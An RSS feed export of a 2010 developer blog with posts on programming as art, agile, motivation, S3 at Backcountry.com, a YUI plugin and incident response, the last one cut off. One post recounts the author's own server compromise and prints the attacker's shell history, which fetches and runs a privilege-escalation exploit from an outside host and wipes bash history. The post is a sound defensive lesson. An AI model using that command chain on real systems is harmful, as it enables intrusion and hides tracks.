<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CrapFlingingMonkey.com</title>
	<atom:link href="http://crapflingingmonkey.com/wp/feed/" rel="self" type="application/rss+xml" />
	<link>http://crapflingingmonkey.com/wp</link>
	<description>A voice for all developers</description>
	<lastBuildDate>Sat, 20 Feb 2010 07:46:38 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=3.0-alpha</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Programming as a Form of Self-Expression</title>
		<link>http://crapflingingmonkey.com/wp/2010/02/programming-as-a-form-of-self-expression/</link>
		<comments>http://crapflingingmonkey.com/wp/2010/02/programming-as-a-form-of-self-expression/#comments</comments>
		<pubDate>Sat, 20 Feb 2010 07:37:04 +0000</pubDate>
		<dc:creator>josh</dc:creator>
				<category><![CDATA[Innovation]]></category>
		<category><![CDATA[artistic]]></category>
		<category><![CDATA[django]]></category>
		<category><![CDATA[motivation]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[ruby on rails]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://crapflingingmonkey.com/wp/?p=92</guid>
		<description><![CDATA[I just got back form Elton John and Billy Joel, and while I was there it reminded me of something I&#8217;ve been thinking about for quite a while.  Programming as an art form.  I get a lot of inspiration from the arts &#8212; actually I first started thinking about this back in December [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://crapflingingmonkey.com/wp/wp-content/uploads/2010/02/inspire-inspiration.jpg"><img class="alignright size-full wp-image-95" title="Inspiration" src="http://crapflingingmonkey.com/wp/wp-content/uploads/2010/02/inspire-inspiration.jpg" alt="Inspiration" width="402" height="337" /></a>I just got back form Elton John and Billy Joel, and while I was there it reminded me of something I&#8217;ve been thinking about for quite a while.  Programming as an art form.  I get a lot of inspiration from the arts &#8212; actually I first started thinking about this back in December when I went to &#8220;A <a href="http://www.jonschmidt.com">Jon Schmidt</a> Christmas&#8221;.  I thought&#8230; this guy doesn&#8217;t have a chance to &#8220;make it big&#8221;, but he&#8217;s completely happy where he&#8217;s at.  If he played in front of 10 people, he would be completely happy.  Take that to Elton John and Billy Joel, and I think the same goes for them.  They&#8217;re getting older.  They don&#8217;t have to play music.  But they do.  They love to do it, they&#8217;re good at it, and that&#8217;s what makes them happy.  So my question is, why can&#8217;t computer engineers do that?  Are we really so technical, digging into the details, gathering requirements, making estimations, doing test-driven development, that we can&#8217;t express ourselves through code?  Well, I think we can.</p>
<p>This might be where frameworks like <a href="http://www.djangoproject.com/">Django</a> and <a href="http://rubyonrails.org/">Ruby on Rails</a> come into play.  They allow you to make what you want, without the crap.  When you have an idea, you can make it.  You can express your ideas quickly and easily.  You don&#8217;t worry about design patterns, because it&#8217;s all there for you.  All that&#8217;s left to you is to &#8220;paint the picture&#8221;.  Just hack it out, it doesn&#8217;t matter what the code looks like.  Take a look at the most &#8220;artistic&#8221; programmers out there &#8212; the hax0rs of the world.  Many of them are absolutely brilliant&#8230; but you wouldn&#8217;t think so in looking at their code.  Heck, most of them don&#8217;t program object-orientedly &#8212; a must in the business world.  They hack out a script that just does the job, and nothing more.  I wouldn&#8217;t say that&#8217;s a bad thing.  It does what it&#8217;s supposed to.  What more is needed?</p>
<p>At any rate, I think that the longer I&#8217;m a programmer by profession, the further I get away artistic expression in programming.  While I don&#8217;t think that &#8220;hacking out a solution&#8221; is a good idea for a business, I still think programmers need to do the quick hacks on their own, and make some that actually *does* something, with minimal effort.  I want to be like Billy Joel when I get old and still be killing it when I&#8217;m 60, or be like one of my personal heroes, Woz.  I don&#8217;t have the answer for how to get an old-timer like myself excited about that kind of thing, but when you figure it out let me know.</p>
]]></content:encoded>
			<wfw:commentRss>http://crapflingingmonkey.com/wp/2010/02/programming-as-a-form-of-self-expression/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Site Was r00ted</title>
		<link>http://crapflingingmonkey.com/wp/2010/01/the-site-was-r00ted/</link>
		<comments>http://crapflingingmonkey.com/wp/2010/01/the-site-was-r00ted/#comments</comments>
		<pubDate>Sat, 09 Jan 2010 03:48:58 +0000</pubDate>
		<dc:creator>josh</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://crapflingingmonkey.com/wp/?p=85</guid>
		<description><![CDATA[As you might know, there was a little bit of downtime&#8230; from December 28 to January 6th.  First of all, sorry about that&#8230; I was doing a bunch of holiday stuff.  At any rate, when I noticed the EC2 instance was unresponsive, I figured it was the fault of EC2.  So, I just rebooted the [...]]]></description>
			<content:encoded><![CDATA[<p>As you might know, there was a little bit of downtime&#8230; from December 28 to January 6th.  First of all, sorry about that&#8230; I was doing a bunch of holiday stuff.  At any rate, when I noticed the <a href="http://aws.amazon.com/ec2/">EC2</a> instance was unresponsive, I figured it was the fault of EC2.  So, I just rebooted the instance and went on my merry way.</p>
<p><img class="alignright size-full wp-image-86" title="owned" src="http://crapflingingmonkey.com/wp/wp-content/uploads/2010/01/owned.jpg" alt="owned" width="480" height="360" /></p>
<p>Flash forward to today.  I got on my box to do some maintenance, and saw the following warning:</p>
<pre>~/tmp$ ls
&gt; ls: unrecognized prefix: do
&gt; ls: unparsable value for LS_COLORS environment variable.</pre>
<p>&#8220;Well that&#8217;s weird&#8221;, I thought to myself.  I googled around the internet, and came to the conclusion I&#8217;d been rooted.  Turns out, I was right.</p>
<h2>Mistake #1</h2>
<p>Now comes the fun part of all of these.  I had to track down just *how* it happened.  First thing that I did was went to /var/log/auth.log.  I see brute force attacks all the time, and it totally fills up the logs, so I went to when made the most sense &#8212; around the time the site when down.  That&#8217;s when I noticed this entry:</p>
<p><code>Dec 28 14:03:25 ip-10-251-69-178 sshd[13661]: Accepted password for deploy from 92.82.99.209 port 2608 ssh2<br />
Dec 28 14:03:25 ip-10-251-69-178 sshd[13661]: pam_unix(sshd:session): session opened for user deploy by (uid=0)</code></p>
<p>*slap*</p>
<p>I had forgotten I created a mostly temporary user named &#8220;deploy&#8221; with a weak password (umm&#8230; &#8220;deploy&#8221;).  I thought it would be ok since that user had very little permissions &#8212; files I didn&#8217;t care about, no sudo access, etc.  Boy, was I wrong.  Which brings me to&#8230;</p>
<h2>Mistake #2</h2>
<p>Everyone always says keep your system up to date.  I also think it&#8217;s a good practice.  But do I?  Of course not.  I was using an outdated (non-updated) version of Ubuntu 8.10.  Put yourself in the hax0rs shoes: if you were breaking into a box, had user access, the os was out of date, and you wanted root, how would you do it?  A rootkit, of course!  And that&#8217;s exactly what happened&#8230;</p>
<p><code>w<br />
uname -a<br />
id<br />
sudo su<br />
ls -a<br />
cat .bash_history<br />
cat /proc/cpuinfo<br />
cat /etc/issue<br />
cat /etc/hosts<br />
wget http://members.lycos.co.uk/timisoara/l3.tar.gz;tar zxvf l3.tar.gz;cd linux-sendpage3;chmod 777 *;./run;id<br />
ls -a<br />
rm -rf .bash_history<br />
wget http://members.lycos.co.uk/timisoara/l3.tar.gz;tar zxvf l3.tar.gz;cd linux-sendpage3;chmod 777 *;./run;id<br />
sudo su -</code></p>
<p>A little sidenote&#8230; if he removed the bash_history, how did I get this command history?  Look closely&#8230; whatever script it was, it &#8220;cd&#8221;ed into the linux-sendpage3 directory before it rm&#8217;ed the bash_history.  Sucka <img src='http://crapflingingmonkey.com/wp/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .  Anyways, there&#8217;s the rootkit, and him logging in as root with &#8220;sudo su -&#8221;.</p>
<h2>He was root.  OMG!</h2>
<p>The next part seems kind of fuzzy to me as to what he did.  I didn&#8217;t have any logs (root&#8217;s bash_history was clean), and there were no logs anywhere else on the system.  What I did have was one thing: ls was acting funky.  Surely he replaced it, so at least it would be a start.  Upon further inspection, it was owned by the user 122, and group messagebus.  Well, at least that&#8217;s a start!</p>
<p><code>root@ip-10-251-69-178:~/bin# find / -user 122<br />
/usr/bin/pstree<br />
/usr/bin/top<br />
/usr/bin/md5sum<br />
/usr/bin/find<br />
/bin/ps<br />
/bin/ls<br />
/bin/netstat<br />
/sbin/ttyload<br />
/sbin/ttymon<br />
/sbin/ifconfig</code></p>
<p>It looks like he changed a bunch of important files here, he certainly didn&#8217;t want me snooping into what he was doing.  Those modifications hid all the files and processes he was using, of course.  So my next step was to restore those files so I could dig deeper into what was going on.  With EC2, that&#8217;s a piece of cake &#8212; I fired up another Ubuntu 8.10 ami, and copied over the binaries.  Here&#8217;s where I got bottlenecked&#8230; I was getting some silly &#8220;Permission denied&#8221; error, even though I was root!  lsattr to the rescue.</p>
<p><code>root@ip-10-251-69-178:~/bin# lsattr /bin/ls<br />
s---ia------------- /bin/ls</code></p>
<p>Super-secret permissions!  no!</p>
<p><code>root@ip-10-251-69-178:~/bin# chattr -sia /bin/ls; mv /tmp/ls.fix /bin/ls<br />
</code></p>
<p>Whew, that was a close one.</p>
<p>Next, I ran the &#8216;find&#8217; command to see if other files had shown up, and indeed they did.  Two directories &#8212; &#8220;/usr/lib/libsh&#8221; and &#8220;/lib/libsh.so&#8221; were owned by this guy.  There were a few utility scripts in these directories to clean logs and such, and also some program named mirkforce &#8212; which looks like some irc bot.  So, all of this for some stupid script kiddie?  Augh, lame.</p>
<p>There were two other things that I got bored with and didn&#8217;t look into anymore &#8212; a crontab as root that executed &#8220;/dev/s/y2kupdate &gt;/dev/null&#8221; every minute (thanks for keeping my computer updated), and some dbus process that hogged a bunch of resources.</p>
<p>At any rate, there were two things that came out of this:</p>
<ol>
<li><strong>Don&#8217;t use easy passwords.  Ever.</strong></li>
<li><strong>Keep your systems up-to-date.</strong></li>
</ol>
<p>I&#8217;m sure this entire thing was automated, so I didn&#8217;t fear stolen information so much (not that there was any to give).  He left all my data in place, so I just ditched the whole box, fired up another EC2 instance, and was running on a fresh install of Ubuntu 9.10 in about 10 minutes.  Amazon  Web Services win again!</p>
]]></content:encoded>
			<wfw:commentRss>http://crapflingingmonkey.com/wp/2010/01/the-site-was-r00ted/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8220;No We Can&#8217;t&#8221;: Engineers Today Are Lazy</title>
		<link>http://crapflingingmonkey.com/wp/2009/12/no-we-cant/</link>
		<comments>http://crapflingingmonkey.com/wp/2009/12/no-we-cant/#comments</comments>
		<pubDate>Thu, 17 Dec 2009 05:07:11 +0000</pubDate>
		<dc:creator>josh</dc:creator>
				<category><![CDATA[Innovation]]></category>
		<category><![CDATA[accountability]]></category>
		<category><![CDATA[duckhunt]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://crapflingingmonkey.com/wp/?p=76</guid>
		<description><![CDATA[
Some coworkers and myself had a nice discussion over dinner tonight about how things have changed over time.  More particularly, we talked about the wildly popular game &#8220;Duck Hunt&#8221;.  Yes, the Nintendo one.  How in the world does that thing work?  After some discussion, Nate Brunson finally whipped out his iPhone and came across this [...]]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-77 alignnone" title="duckhunt" src="http://crapflingingmonkey.com/wp/wp-content/uploads/2009/12/duckhunt.jpg" alt="duckhunt" width="480" height="478" /></p>
<p>Some coworkers and myself had a nice discussion over dinner tonight about how things have changed over time.  More particularly, we talked about the wildly popular game &#8220;Duck Hunt&#8221;.  Yes, the Nintendo one.  How in the world does that thing work?  After some discussion, <a href="http://twitter.com/nathanbrunson">Nate Brunson</a> finally whipped out his iPhone and came across this article <a href="http://www.howstuffworks.com/question273.htm">detailing how Duck Hung works</a>.  It&#8217;s all pretty interesting stuff, and it was all done way before its day.</p>
<h2>But Nintendo wasn&#8217;t Agile!</h2>
<p>The thing is, if Nintendo were made in the &#8220;agile&#8221; world of today, would it have been released with Duck Hunt?  Would Duck Hunt ever had existed?  My inclination is no.  It would have been labeled as &#8220;too much scope for the first increment, we should release Mario Brothers, analyze the results, and go from there&#8221;.  Immediately following Mario Brothers, which would be a hit (obviously), they would follow up with Mario Bros 2, because hey, the first one did well.  After 2, the third increment would be&#8230; (surprise) Mario Bros 3.  Eventually the idea of Duck Hunt would have been forgotten.</p>
<h2>If you want to change the world, don&#8217;t wait until the next increment</h2>
<p>The point is that sometimes innovation comes at a cost.  You can&#8217;t always slim down functionality to meet a deadline, and still expect to be innovative.  If there is an <strong>incredible idea</strong> out there to be had, even if you&#8217;re not sure what kind of time it will take, resources need to be devoted, or even if it&#8217;s possible, you still need to just go for it.</p>
<h2>Where did we go wrong?</h2>
<p>Why are we so afraid to just get things done?  I personally thinks it comes down to <strong>people not wanting accountability</strong>, or they want to be absolutely positive that they can do what they say.  They are afraid to stretch themselves.  They really don&#8217;t care about being innovative.  They care about the business, about money, and about following a &#8220;standard procedure&#8221; or &#8220;following the most effective way of doing something&#8221;.  <a href="http://sethgodin.typepad.com/">Seth Godin</a> is very popular and incredibly successful because he <strong>gives</strong> people the magic formula to creating a good product.  The only problem is that he doesn&#8217;t do it for you.  I&#8217;m not saying processes are a bad thing, I&#8217;m just saying that eventually some crazy guy needs to sit down, do the impossible, and get it done.  Don&#8217;t believe me?  How about the names Steve Wozniak, Ed Logg, or Brad Fitzpatrick?  Chew on them apples&#8230;.</p>
]]></content:encoded>
			<wfw:commentRss>http://crapflingingmonkey.com/wp/2009/12/no-we-cant/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thought: Staying Motivated With a Personal Project</title>
		<link>http://crapflingingmonkey.com/wp/2009/12/thought-staying-motivated-with-a-personal-project/</link>
		<comments>http://crapflingingmonkey.com/wp/2009/12/thought-staying-motivated-with-a-personal-project/#comments</comments>
		<pubDate>Fri, 11 Dec 2009 20:55:50 +0000</pubDate>
		<dc:creator>josh</dc:creator>
				<category><![CDATA[Management]]></category>
		<category><![CDATA[developer]]></category>
		<category><![CDATA[motivation]]></category>
		<category><![CDATA[thoughts]]></category>

		<guid isPermaLink="false">http://crapflingingmonkey.com/wp/?p=65</guid>
		<description><![CDATA[
I&#8217;ve had a lot of thought and conversation lately about how to stay motivated.  The fact is that we&#8217;re all human, and we all have ups and downs.  Even if your super-motivated about doing something one day, the next day you might not be.  I know I&#8217;ve had a lot of personal experiences where I [...]]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-70 alignright" title="concentration" src="http://crapflingingmonkey.com/wp/wp-content/uploads/2009/12/concentration.gif" alt="concentration" width="398" height="328" /></p>
<p>I&#8217;ve had a lot of thought and conversation lately about how to stay motivated.  The fact is that we&#8217;re all human, and we all have ups and downs.  Even if your super-motivated about doing something one day, the next day you might not be.  I know I&#8217;ve had a lot of personal experiences where I get on a kick for a couple days, hammer out some code, then someone says &#8220;eh, that sucks&#8221;.  It&#8217;s a total downer!  Well, here are a few tactics you can try to stay motivated.</p>
<ul>
<li>Don&#8217;t listen to what other people say about your stuff, unless it will help make it better or point out an obvious flaw.</li>
<li>Remember that if someone has feedback, that usually means you need to do something.</li>
<li>If you work on something a while and become disinterested, keep what you&#8217;ve done around.  Who knows, you may pick it up and continue working on it several months down the road.</li>
<li>Finish things through to completion</li>
</ul>
<p>I think the last point is the most important.  As software developers, we become distracted very easily.  Often times we become to entranced by every new technology and every different way to do things that we don&#8217;t ever get a finished product.  The old tale that &#8220;an application is never finished&#8221; has put a bad taste in my mouth since the first time I heard it.  While there&#8217;s always room for improvement, finishing and releasing a product, and setting milestones for future work to be done is vital.  Working in bigger companies we sometimes forget that &#8212; that&#8217;s why there are project managers, product managers, etc etc.  We could learn a thing or two from those guys and apply it to our own side projects.</p>
<p>Aside from the &#8220;setting goals&#8221; part, most of the work happens within a very small timeframe.  It&#8217;s called being &#8220;in the zone&#8221;.  That&#8217;s the programmers time when you are completely focused on the task at hand, and cannot be distracted by anything.  This is the most important time to keep programming.  If you have to stay up all night, then  do it.  Here&#8217;s what <a href="http://www.joelonsoftware.com/articles/fog0000000068.html" target="_blank">Joel Spolsky</a> (who I normally read for entertainment, not how to do my job &#8211; for another post&#8230; but this is good) has to say about being &#8220;in the zone&#8221;:</p>
<blockquote><p>&#8220;Here&#8217;s the trouble. We all know that knowledge workers work best by getting into &#8220;flow&#8221;, also known as being &#8220;in the zone&#8221;, where they are fully concentrated on their work and fully tuned out of their environment. They lose track of time and produce great stuff through absolute concentration. This is when they get all of their productive work done. Writers, programmers, scientists, and even basketball players will tell you about being in the zone.</p>
<p>The trouble is, getting into &#8220;the zone&#8221; is not easy. When you try to measure it, it looks like it takes an average of 15 minutes to start working at maximum productivity. Sometimes, if you&#8217;re tired or have already done a lot of creative work that day, you just can&#8217;t get into the zone and you spend the rest of your work day fiddling around, reading the web, playing Tetris.&#8221;</p></blockquote>
<p>If you only have time once a week to get &#8220;in the zone&#8221;, then plan it.  Turn off your cell phone, close your IMs, tell your wife you love her and won&#8217;t see her for bit, and set the expectation that, for example, every Thursday night you&#8217;ll be hacking away and completely unavailable.  Try to know what &#8220;business decisions&#8221;, or functionality you want to include beforehand.  I think about it when I&#8217;m trying to get to sleep at night, taking a shower, eating breakfast, whatever.  I try to write down what I think of the next chance I get.  But when it come to getting it done, that&#8217;s when that night of being alone is vital.</p>
<p>This was kind of a hacked out, not-completely-thought-out thought, I will hopefully try to organize it a bit better and follow up in another blog post, but this is just what I&#8217;ve been thinking about.  As always, your opinions and insights are appreciated, whether it&#8217;s through email or a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://crapflingingmonkey.com/wp/2009/12/thought-staying-motivated-with-a-personal-project/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>S3 At A Real-world Company</title>
		<link>http://crapflingingmonkey.com/wp/2009/12/s3-at-a-real-world-company/</link>
		<comments>http://crapflingingmonkey.com/wp/2009/12/s3-at-a-real-world-company/#comments</comments>
		<pubDate>Thu, 10 Dec 2009 16:39:02 +0000</pubDate>
		<dc:creator>josh</dc:creator>
				<category><![CDATA[Management]]></category>
		<category><![CDATA[aws]]></category>
		<category><![CDATA[backcountry.com]]></category>
		<category><![CDATA[s3]]></category>
		<category><![CDATA[work]]></category>

		<guid isPermaLink="false">http://crapflingingmonkey.com/wp/?p=51</guid>
		<description><![CDATA[Let&#8217;s face it, most bigger companies nowdays are afraid of trying something new.  That happens with good reason &#8212; most new ideas tend to fall by the wayside, as trends normally do, and companies like to play it as safe as possible.  I see new ideas and frameworks popping up all over the Twittersphere every [...]]]></description>
			<content:encoded><![CDATA[<p>Let&#8217;s face it, most bigger companies nowdays are afraid of trying something new.  That happens with good reason &#8212; most new ideas tend to fall by the wayside, as trends normally do, and companies like to play it as safe as possible.  I see new ideas and frameworks popping up all over the Twittersphere every day, and I wouldn&#8217;t consider using any of them in a production environment.</p>
<h2>Amazon Web Services Isn&#8217;t Just a Pie-In-The-Sky</h2>
<p>The reason I bring this up is this &#8212; <a href="http://aws.amazon.com">Amazon Web Services</a> in the business (not startup) world is *still* considered a new, unproven technology.  And with all the marketing hype around clouds, infinitely scalable services, etc, etc, I honestly don&#8217;t blame them.  It hard to believe a pie-in-the-sky promise.  That&#8217;s just the point &#8212; AWS is not pie in the sky, and people that think it is need to dig deeper and understand what it is and what it offers.  The fact is that Amazon Web Services has been around since 2002, and has uptime that is most likely better than your data center.  Coincidentally, Amazon also knows this and is trying to eliminate the false perception that IT IS GOOD FOR YOUR COMPANY TO USE IT TOO.  They published <a href="http://aws.typepad.com/aws/2009/12/the-economics-of-aws.html" target="_blank">this article</a>, along with an updated cost calculator and an Excel spreadsheet to compare your datacenter with using AWS.</p>
<h2>Backcountry.com and S3</h2>
<p><a href="http://crapflingingmonkey.com/wp/wp-content/uploads/2009/12/900x900_screenshot1.png"><img class="alignright size-medium wp-image-56" title="S3 At Backcountry.com" src="http://crapflingingmonkey.com/wp/wp-content/uploads/2009/12/900x900_screenshot1-300x150.png" alt="S3 At Backcountry.com" width="300" height="150" /></a><br />
Ok, so the real reason for this article.  At <a href="http://www.backcountry.com/">Backcountry.com</a>, we try hard to stay as close as we can to the bleeding edge, but going into &#8220;the cloud&#8221; has always received serious backlash.  That is, until recently.  Earlier this month we took advantage of the cloud for the first time in a production environment: by using S3 for our &#8220;Jumbo&#8221; product images.</p>
<p>First, let me explain the reasons we decided to use S3.  Our webapp tier, consisting of a few boxes, hosts the Interchange e-commerce framework, and also contains all our static content.  The trouble was, the 900&#215;900 images consumed about 100gb disk space, but each box only had less than 20gb left.  That left us with one of two traditional options: put new hard disks in each webapp, or use our NetApp to host the images from a single location.  Neither seemed ideal, since putting in new hard disks would be pricey and could take some time, and we were already short on NetApp space given the current budget.  I had done some side-work using S3, and mentioned it.   <a href="http://www.crickertech.com">Chris Alef</a> was able to push the decision as a great idea and it was agreed to do it.</p>
<p>Flash forward 1 week, and we were ready to go live.  We were able to convert and upload the 900&#215;900 images to S3 over the weekend, and get the UI in place in no-time flat.  We have Akamai hosting edge cache in front of S3, and we had zero problems since launch last month.  I asked our operations team what they thought the bill for the month would be, and they guessed $4,000.  The actual bill?  Under $50.  Granted, Akamai probably took most of the traffic, but that&#8217;s still mighty impressive.</p>
<p>There&#8217;s so much more we can do with AWS, and I hope this is just the start.  I hope to be able to take advantage of other AWS services such as EC2 and SQS in the future, and I think S3 helped build confidence.  AWS is a service that can be relied on for both startups and established internet businesses alike.</p>
]]></content:encoded>
			<wfw:commentRss>http://crapflingingmonkey.com/wp/2009/12/s3-at-a-real-world-company/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>YUI-Magnifier Released</title>
		<link>http://crapflingingmonkey.com/wp/2009/12/yui-magnifier-released/</link>
		<comments>http://crapflingingmonkey.com/wp/2009/12/yui-magnifier-released/#comments</comments>
		<pubDate>Wed, 09 Dec 2009 20:54:41 +0000</pubDate>
		<dc:creator>josh</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[backcountry.com]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[work]]></category>
		<category><![CDATA[yui]]></category>

		<guid isPermaLink="false">http://crapflingingmonkey.com/wp/?p=47</guid>
		<description><![CDATA[
A coworker of mine, Dustin McQuay, released the YUI Magnifier, a YUI implementation of other popular image zoom utilities.   We were actually surprised to see that nothing else like it already existed for YUI, so Dustin took the challenge of building his own, with the hopes that it might be included in other larger [...]]]></description>
			<content:encoded><![CDATA[<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="350" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/WRok8vencqE" /><embed type="application/x-shockwave-flash" width="425" height="350" src="http://www.youtube.com/v/WRok8vencqE"></embed></object></p>
<p>A coworker of mine, <a href="http://www.linkedin.com/in/dustinmcquay">Dustin McQuay</a>, released the <a href="http://github.com/dmcquay/YUI-Magnifier" target="_blank">YUI Magnifier</a>, a YUI implementation of other popular image zoom utilities.   We were actually surprised to see that nothing else like it already existed for YUI, so Dustin took the challenge of building his own, with the hopes that it might be included in other larger YUI libraries.</p>
<p>It boasts the features:</p>
<ul>
<li> Display a magnified portion of an image, which is controlled by where the mouse is hovering over the image</li>
<li>Control over styling</li>
<li>Control over location of magnification lens</li>
<li>Magnified image can be wrapped by a larger element</li>
</ul>
<p>Though the release wasn&#8217;t very public, it was still quite an accomplishment. It happens to be one of the first open-source releases from <a href="http://www.backcountry.com/">Backcountry.com</a> (preceded to my knowledge by only <a href="http://bucardo.org/">Bucardo</a>, a Postgres replication application written for Backcountry.com by <a href="http://www.endpoint.com/" target="_blank">Endpoint</a>).  It was originally designed to be used for our 900&#215;900 images, but got cut after development has essentially finished due to changed requirements.</p>
<p>It&#8217;s a pretty solid application, and hopefully the start of more open source to be coming out of Backcountry.com</p>
]]></content:encoded>
			<wfw:commentRss>http://crapflingingmonkey.com/wp/2009/12/yui-magnifier-released/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Website Emergency Response &#8211; Best Practices For Controlling Downtime</title>
		<link>http://crapflingingmonkey.com/wp/2009/12/website-emergency-response-best-practices/</link>
		<comments>http://crapflingingmonkey.com/wp/2009/12/website-emergency-response-best-practices/#comments</comments>
		<pubDate>Tue, 08 Dec 2009 21:38:41 +0000</pubDate>
		<dc:creator>josh</dc:creator>
				<category><![CDATA[Management]]></category>
		<category><![CDATA[downtime]]></category>
		<category><![CDATA[response management]]></category>
		<category><![CDATA[website]]></category>
		<category><![CDATA[work]]></category>

		<guid isPermaLink="false">http://crapflingingmonkey.com/wp/?p=26</guid>
		<description><![CDATA[If you work for any website that receives a lot of traffic, you know how aggravating it can be when you get woken up in the middle of the night because the website is down or payments aren&#8217;t getting processed.  People call this many things &#8212; Seg-1, P5, it doesn&#8217;t matter &#8212; it&#8217;s &#8220;the [...]]]></description>
			<content:encoded><![CDATA[<p>If you work for any website that receives a lot of traffic, you know how aggravating it can be when you get woken up in the middle of the night because the website is down or payments aren&#8217;t getting processed.  People call this many things &#8212; Seg-1, P5, it doesn&#8217;t matter &#8212; it&#8217;s &#8220;the shit has hit the fan&#8221;.  Working at <a href="http://www.backcountry.com/">Backcountry.com</a>, I know I&#8217;ve seen my fair share of experiences.  When you have a group of 5 or more people trying to work on the same problem, chaos can ensue.  People will work on the same problem, stepping on each others toes, change something without letting others know, withhold vital information for the sake of being the &#8220;rockstar&#8221; who fixes the problem, or various other problems.  The ultimate problem is that the company loses money, and it&#8217;s an embarrassment to have the downtime.</p>
<div class="mceTemp">
<dl class="wp-caption alignright" style="width: 186px;">
<dt class="wp-caption-dt"> </dt>
<dl id="attachment_28" class="alignright" style="width: 186px;">
<dt class="wp-caption-dt"><img class="size-full wp-image-28" title="Emergency Response" src="http://crapflingingmonkey.com/wp/wp-content/uploads/2009/12/emergency_response1.jpg" alt="Emergency Response" width="176" height="118" /></dt>
<dd class="wp-caption-dd">Emergency Response</dd>
</dl>
</dl>
</div>
<p>The first practice I recommend you, and the one thing I hope you keep from the article, is this:  keep track of what you do.  Track everything.  Track changes you make.  Track decisions you made.  Track data you have gathered, no-matter how irrelevant.  Recently at Backcountry, we were troubleshooting a problem that involved nearly all aspects of our architecture &#8212; high load on databases, high load on webapps, traffic stays the same, 500 errors increased, people were losing sessions, traffic through the load balancer was inconsistent&#8230; but we couldn&#8217;t pinpoint the problem.  Searching through the logs, there were no errors, only timeouts.  No query locks in the database.  We kept record of all that information, and tried to make correlations.  We eventually came to a solution by putting the pieces (or what we tracked) together until it made sense.  Then everything else falls into place.  The end result was that, coincidentally, there were 2 major problems at once &#8212; Varnish was passing through a 500 error which happened to be an RSS feed (i.e. high traffic), and session databases were intermittently not allowing connections (for various reasons).  If we didn&#8217;t record all the data, we couldn&#8217;t have made the connections.</p>
<p>The second practice I would recommend is to elect a &#8220;Call Leader&#8221; when responding to an emergency.  This coordinator has a few roles: communicate with business owners periodically, keep track of what tasks people are working on, and make recommendations, in some some cases dictating, what actions are going to be taken.  A side-effect is that communication patterns within the team become explicit &#8212; techs looking into the problem know they need to communicate to the Call Lead, and the Call Lead needs to work with the techs.   This leave the rest of the team to concentrate on the problem at hand, and only their specific silo.  An example conversation among the team might go like this:</p>
<blockquote><p><strong>Tech 1</strong>: &#8220;I&#8217;m seeing some weird stuff in our Apache error logs, something about an error with connecting to session dbs.  I&#8217;d like to take a look at it.&#8221;</p>
<p><strong>Call Lead</strong>: Ok, go ahead.</p></blockquote>
<p>That&#8217;s all you need to communicate effectively.  But you&#8217;d be surprised at how many companies and teams don&#8217;t do this.  Having a Call Lead helps ease this transition.</p>
<p>Let me move on to another subject &#8212; the stages of an emergency.  One thing I&#8217;ve seen a lot of teams do is circle around a problem, jumping from one observation to the next, without ever remediating anything.  I&#8217;ve attempted to layout these stages so you know where you&#8217;re at in solving the problem so you know where you need to go next to get the problem fixed.  The five stages are: Reaction/Response, Collection/State What You Know, Discovery, Remediation, and Verification.</p>
<h2>Reaction/Response</h2>
<ul>
<li>Once you hear about the problem, whether it be nagios or the guy sitting next to you, make sure the problem is documented however way to document these things (Bugzilla, Jira, Google Doc, whatever).</li>
<li>Dial into a phone conference, or join a chatroom, or do whatever you need to communicate with the other team members.</li>
<li>Validate there is actually a problem.  You could waste expensive, valuable time by assuming the problem is larger than it actually is.</li>
<li>Communicate outwardly that you are taking care of the problem</li>
<li>Get ahold of ANYONE that should be there.  Don&#8217;t be afraid to call the CEO of the company if you need, the fact is that if the problem says more than X amount of time, the company will go under.</li>
<li>Elect a Call Leader (discussed above)</li>
</ul>
<p>This should take a maximum about 5 minutes.</p>
<h2><span> Collection/State What You Know (SWYK)</span></h2>
<ul>
<li><span>Have everyone on the call state what they know, documenting thoroughly.  Make sure you state what YOU know.</span></li>
<li><span>Set a schedule or a plan of attack.<br />
</span></li>
</ul>
<h2><span>Discovery</span></h2>
<ul>
<li><span>Call leader makes assignments (dependent on what people say, of course)</span></li>
<li><span>Get a list of options/suggestions from techs working on the issue.</span></li>
<li><span>Weigh options, and avoid &#8220;Analysis Paralysis&#8221;<br />
</span></li>
</ul>
<p><span>Should take 5-30 minutes, sometimes more, sometimes less.<br />
</span></p>
<h2><span>Remediation</span></h2>
<ul>
<li><span>Call leader makes decision to do an option, and you execute on it.</span></li>
</ul>
<p><span>Some notes about this one:</span></p>
<p><span>You can easily get yourself into a bind by making changes too rashly, and not thinking about the consequences.  I try to use the following principles:</span></p>
<ul>
